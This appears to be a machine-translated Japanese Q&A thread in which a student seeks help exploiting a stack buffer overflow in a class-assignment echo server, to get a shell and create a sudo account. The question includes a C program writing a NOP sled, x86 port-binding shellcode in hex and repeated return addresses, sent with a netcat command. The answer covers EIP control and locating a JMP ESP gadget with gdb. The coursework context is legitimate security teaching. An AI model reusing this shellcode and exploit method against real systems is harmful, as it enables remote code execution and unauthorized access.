3

クラス課題用です。私はちょっと立ち往生していて、先に進むのに役立ついくつかの質問しかありません. (私にはカンニングはありません:p)

私たちがやるべきこと:

nc compName.cs.myschool.edu 9050

何かを入力してからCtrl + Dを押すと、サーバーがリッスン/エコーします。その入力を使用してサーバー プログラムをハッキングし、sudo 権限を持つアカウントを作成する必要があります。

関連するコードは次のとおりです。

int main(int argc, char const *argv[])
{
    char input[1000];
    int sockfd, newsockfd, portno, clilen, val = 1;
    struct sockaddr_in serv_addr, cli_addr;

    // some server code that I don't understand but probably isn't super relevant

    dup2(newsockfd, 0);   // bind stdin
    dup2(newsockfd, 1);   // bind stdout
    dup2(newsockfd, 2);   // bind stderr

    bufferCopy( input, 0x1000, stdin );
    printf("You entered: %s\n", input );        

    close(newsockfd);
    close(sockfd);
    return 0;
}

void bufferCopy( char * input, int inputLen, FILE * file )
{
    int i = 0;
    int c = 0;
    while( (c = fgetc( file )) != EOF  &&  i < inputLen - 2 )
    {
        input[i++] = c;
    }
    input[i] = 0;    
}

更新: 私は何をする必要があるか知っています:

  • No-op スレッド (0x90 の束)
  • その後にポートバインディングシェルコードが続きます(本から)
  • その後に戻りアドレス (「入力」変数のアドレス) が何度も繰り返されます

更新: 私がやっていること:

  • 次のコードを使用してファイルを書き込みます。
  • 猫の攻撃コード | nc compName.cs.myschool.edu 9090

    static const int  NUM_NOPS = 800;
    static const char NOP = 0x90;
    static const int  NUM_ADDRESSES = 800;
    
    static char nopSled[800];
    char shellcode[] = { // on port 31334 == 0x7a66
        "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80"
        "\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x66\x66\x53\x89\xe1\x6a\x10"
        "\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80"
        "\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f"
        "\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"
        "\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"
    };
    static const char returnAddress[] = {0xbf, 0xff, 0xf4, 0x40};
    
    int i=0;
    for(i=0; i < NUM_NOPS; i++){
        nopSled[i] = NOP;
    }
    
    FILE * pFile;
    pFile = fopen("attackCode", "w");
    fwrite( nopSled, 1, sizeof(nopSled), pFile );   
    fwrite( shellcode, 1, 92, pFile );
    for(i=0; i < NUM_ADDRESSES; i++ ){
        fwrite( returnAddress, 1, 4, pFile );
    }
    fclose(pFile);
    

更新: 私が理解していないこと:

  • 戻りポインタがメモリ内のどこにあるか...どうすればこれを見つけることができますか?
  • ^ したがって、No-op 部分に必要な長さ、またはリターンアドレスを繰り返す回数
  • 「入力」のアドレスは何ですか --- printf(%p) と gdb から異なる値を取得します
  • なぜ私は何も起こらないのですか...ノーオペレーションなどをたくさん書いてもセグメンテーション違反でさえありません.

どんな助けでも大歓迎です!

4

1 に答える 1

4

通常、次の手順を実行します。

  1. 悪用可能なバッファのファジング。
  2. EIP を制御する方法を理解します。
  3. シェルコードにアクセスする方法を見つけてください。

最初のポイントについては、オーバーフロー (基本的には 1000 バイトを超える入力値) をトリガーする方法を既に見つけています。

スタック上のバ​​ッファ オーバーフローは、バッファのアドレス以下のデータを上書きinputし、関数のフレーム内のスタックに割り当てられるため、バッファのmain一部がmain呼び出しの戻りアドレスを上書きします。EIP を上書きする部分を見つけるには、metasploit のpattern_createおよびpattern_offsetツールを使用できます。

ここで難しいのは、おそらく EIP を効果的に変更してシェルコードにジャンプする方法を見つけることです。次のようなバッファを使用します。

AA…AA BBBB CC…CC

が戻った瞬間のスタックは次のmainようになります。

     ⋮
0x41414141
0x41414141
0x42424242 <= ESP
0x43434343
0x43434343
     ⋮

return は EIP をスタック (ここでは ) の一番上にある値に設定BBBBし、スタック ポインターを減らすことでスタックを下げるため、 aJMP ESPは の直前のシェルコードにジャンプしますBBBB

     ⋮
0x41414141
0x41414141
0x42424242 
0x43434343 <= ESP,EIP
0x43434343
     ⋮

命令を見つけるにはJMP ESP、ロードされたモジュール/ライブラリを見て、gdb 内で次のように検査します。

find /b <from addr>, <to addr>, 0xff, 0xe4

JMP ESPシェルコードにジャンプするために、スタック上の戻りアドレスを上書きするために使用できるan のアドレスを見つけます。

于 2013-03-13T20:08:39.327 に答える